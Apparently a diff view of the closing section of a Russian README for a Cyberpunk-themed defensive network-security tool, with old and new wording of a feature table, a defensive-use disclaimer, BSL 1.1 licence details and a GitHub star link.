||||
| NetWatch | Поведенческий движок + автомат по IP |
|
||||
| Rogue AIs | Ботнеты, сканеры, C2-биконы |
|
||||
| Braindance | PCAP-форензика |
|
||||
| Коллектив нетраннеров | HiveMind P2P-меш |
|
||||
| Инфа от фиксеров | Threat-фиды |
|
||||
| Arasaka C&C | Распределённый контроллер |
|
||||
|
||||
---
|
||||
|
||||
## Дисклеймер
|
||||
|
||||
Это исследовательский проект в сфере безопасности. Создан для вашей собственной инфраструктуры, в оборонительных целях. Не используйте для атак на других. Не развертывайте тарпит на продакшн-серверах, не понимая последствий.
|
||||
Исследовательский проект в сфере безопасности. Для защиты вашей собственной инфраструктуры. Не используйте против других.
|
||||
|
||||
Я не аффилирован с CD Projekt Red. Я просто сыграл в их игру, и она сломала мне мозг лучшим из возможных способов.
|
||||
Не аффилирован с CD Projekt Red. Просто игра, которая перепрошила мой мозг наилучшим образом.
|
||||
|
||||
-----
|
||||
---
|
||||
|
||||
## Лицензия
|
||||
|
||||
BSL 1.1 — потому что Сеть нуждается и в свободе, и в устойчивом развитии.
|
||||
**BSL 1.1** (Business Source License)
|
||||
|
||||
-----
|
||||
Лицензиар: Vladyslav Soliannikov
|
||||
Change Date: April 8, 2030
|
||||
Change License: Apache-2.0
|
||||
|
||||
---
|
||||
|
||||
<p align="center">
|
||||
<strong>Хотите, чтобы это развивалось дальше? — <a href="https://github.com/xzcrpw/blackwall">Поставьте звезду!</a></strong>
|
||||
<strong>Нравится? <a href="https://github.com/xzcrpw/blackwall">Ставь звезду</a></strong>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<strong><em>"Проснись, самурай. Нам еще сеть защищать."</em></strong>
|
||||
<strong><em>"Просыпайся, самурай. У нас сеть — защищать."</em></strong>
|
||||
</p>
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue